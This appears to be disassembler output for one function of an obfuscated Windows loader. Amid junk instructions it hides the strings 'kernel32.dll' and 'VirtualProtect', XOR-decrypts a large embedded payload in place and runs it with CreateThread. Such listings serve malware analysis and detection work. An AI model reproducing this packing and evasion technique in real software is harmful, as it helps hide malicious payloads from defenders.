Function at 0x3e4be6f
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
xchg edx, eax
xchg edx, eax
mov eax, eax
call fcn.03e4c26b
xchg edx, edx
lea eax, [ebp - 0xd8]
push edx
pop edx
mov ebx, ebx
mov ebx, 0x61
pushfd
push 0xf195c029
add esp, 4
popfd
pushfd
push edx
add esp, 4
popfd
add bx, 0xa
mov ebx, ebx
mov word [eax], bx
pushfd
xor eax, 0xa8c58645
xor eax, 0xa8c58645
popfd
pushfd
push edx
add esp, 4
popfd
sub bx, 6
push eax
push esi
pop esi
pop eax
push esi
push edi
pop edi
pop esi
mov word [eax + 2], bx
xchg ecx, ecx
add bx, 0xd
xchg ebx, esi
xchg esi, ebx
mov word [eax + 4], bx
pushfd
push edx
add esp, 4
popfd
sub bx, 4
xchg esi, esi
mov word [eax + 6], bx
pushfd
push eax
add esp, 4
popfd
pushfd
xor esi, 0x36c1fc4
xor esi, 0x36c1fc4
popfd
sub bx, 9
pushfd
push 0x3356baf5
add esp, 4
popfd
pushfd
inc edi
dec edi
popfd
mov word [eax + 8], bx
pushfd
push 0x487f1685
add esp, 4
popfd
add bx, 7
pushfd
push ebx
add esp, 4
popfd
pushfd
push 0x8d1cf41e
add esp, 4
popfd
mov word [eax + 0xa], bx
mov ecx, ecx
mov ecx, ecx
sub bx, 0x39
xchg ecx, ecx
pushfd
xor edx, 0x6e554592
xor edx, 0x6e554592
popfd
mov word [eax + 0xc], bx
push eax
push edi
pop edi
pop eax
dec bx
pushfd
push 0x80c6d07d
add esp, 4
popfd
mov word [eax + 0xe], bx
pushfd
inc edx
dec edx
popfd
sub bx, 4
pushfd
inc edx
dec edx
popfd
nop
mov word [eax + 0x10], bx
pushfd
push 0x9779532
add esp, 4
popfd
push edx
pop edx
add bx, 0x36
pushfd
push 0x17cbc8bc
add esp, 4
popfd
push edx
push eax
pop eax
pop edx
mov word [eax + 0x12], bx
pushfd
inc eax
dec eax
popfd
add bx, 8
pushfd
xor edi, 0x71cd633
xor edi, 0x71cd633
popfd
mov word [eax + 0x14], bx
pushfd
inc edi
dec edi
popfd
mov esi, esi
mov word [eax + 0x16], bx
mov eax, eax
mov word [eax + 0x18], 0
pushfd
push edx
add esp, 4
popfd
push ebx
push edx
pop edx
pop ebx
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
xchg edi, ebx
xchg ebx, edi
mov dword [ebp - 0x10], eax
pushfd
push edx
add esp, 4
popfd
lea eax, [ebp - 0xd8]
pushfd
push 0x18446a3b
add esp, 4
popfd
mov ebx, 0x61
xchg ebx, ebx
sub bl, 0xb
pushfd
push 0x78f9da6
add esp, 4
popfd
mov byte [eax], bl
mov ecx, ecx
add bl, 0x13
mov edx, edx
mov byte [eax + 1], bl
mov esi, esi
nop
add bl, 9
push eax
pop eax
mov byte [eax + 2], bl
xchg edx, ecx
xchg ecx, edx
add bl, 2
pushfd
push esi
add esp, 4
popfd
mov byte [eax + 3], bl
xchg ecx, edx
xchg edx, ecx
inc bl
mov ebx, ebx
pushfd
push 0x85fb12b7
add esp, 4
popfd
mov byte [eax + 4], bl
pushfd
xor eax, 0x32720381
xor eax, 0x32720381
popfd
sub bl, 0x14
pushfd
push ebx
add esp, 4
popfd
mov ebx, ebx
mov byte [eax + 5], bl
pushfd
xor eax, 0xc7ac739f
xor eax, 0xc7ac739f
popfd
mov edx, edx
add bl, 0xb
push eax
pop eax
xchg edi, edi
mov byte [eax + 6], bl
xchg ebx, esi
xchg esi, ebx
sub bl, 0x1c
push edi
pop edi
mov byte [eax + 7], bl
push edi
push esi
pop esi
pop edi
push edx
push ebx
pop ebx
pop edx
add bl, 0x22
xchg edi, edi
push eax
pop eax
mov byte [eax + 8], bl
pushfd
push edi
add esp, 4
popfd
pushfd
xor ecx, 0x4e73e707
xor ecx, 0x4e73e707
popfd
sub bl, 3
pushfd
inc esi
dec esi
popfd
mov byte [eax + 9], bl
pushfd
inc edi
dec edi
popfd
add bl, 5
pushfd
push 0x7cc4118d
add esp, 4
popfd
mov byte [eax + 0xa], bl
pushfd
xor ecx, 0x5e1e8f88
xor ecx, 0x5e1e8f88
popfd
pushfd
push 0x53b11caa
add esp, 4
popfd
sub bl, 0xf
xchg ecx, eax
xchg ecx, eax
mov byte [eax + 0xb], bl
mov eax, eax
sub bl, 2
pushfd
push 0x106b7039
add esp, 4
popfd
mov byte [eax + 0xc], bl
pushfd
inc eax
dec eax
popfd
xchg ecx, ecx
add bl, 0x11
pushfd
xor ecx, 0x1120f6d2
xor ecx, 0x1120f6d2
popfd
mov byte [eax + 0xd], bl
push edi
pop edi
mov byte [eax + 0xe], 0
pushfd
xor ebx, 0xeefbfade
xor ebx, 0xeefbfade
popfd
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov edi, edi
pushfd
push edi
add esp, 4
popfd
mov dword [ebp - 0xc], eax
push ecx
push eax
pop eax
pop ecx
pushfd
xor ecx, 0xa197e470
xor ecx, 0xa197e470
popfd
lea eax, [ebp - 8]
pushfd
push edx
add esp, 4
popfd
push eax
push 4
push 0x1d25731
push entry0
call dword [ebp - 0xc]
xchg edi, edi
xchg esi, ecx
xchg ecx, esi
mov edi, entry0
xchg edi, ebx
xchg ebx, edi
mov esi, 0x40100e
nop
pushfd
push 0x7e830a12
add esp, 4
popfd
mov ecx, 0x1d25731
pushfd
push edi
add esp, 4
popfd
mov ecx, ecx
mov edx, 0x86cce1b6
pushfd
inc edx
dec edx
popfd
pushfd
push 0xb9bd4f86
add esp, 4
popfd
mov ebx, 0x6c9a915b
pushfd
inc esi
dec esi
popfd
mov edx, edx
cld
xchg edi, edi
lodsb al, byte [esi]
mov ebx, ebx
xor al, dl
xchg edx, edx
stosb byte es:[edi], al
xchg edx, edx
ror edx, 5
mov eax, eax
imul edx, edx, 7
nop
test ebx, 1
mov eax, eax
je 0x3e4c1d7
mov edx, edx
add esi, 2
mov esi, esi
ror ebx, 1
mov edi, edi
dec ecx
xchg edi, edi
test ecx, ecx
mov ecx, ecx
jne 0x3e4c1b1
push edi
push ecx
pop ecx
pop edi
xchg esi, esi
lea eax, [ebp - 8]
pushfd
push 0x87dce6a9
add esp, 4
popfd
push eax
push 0x20
push 0x1d25731
push entry0
call dword [ebp - 0xc]
mov ebx, ebx
pushfd
inc edi
dec edi
popfd
lea eax, [ebp - 4]
xchg ebx, ebx
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
pushfd
push 0x480c3706
add esp, 4
popfd
push esi
push ecx
pop ecx
pop esi
pushfd
push edx
add esp, 4
popfd
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
pushfd
push edi
add esp, 4
popfd
pushfd
push 0x119008a9
add esp, 4
popfd
jmp 0x3e4c234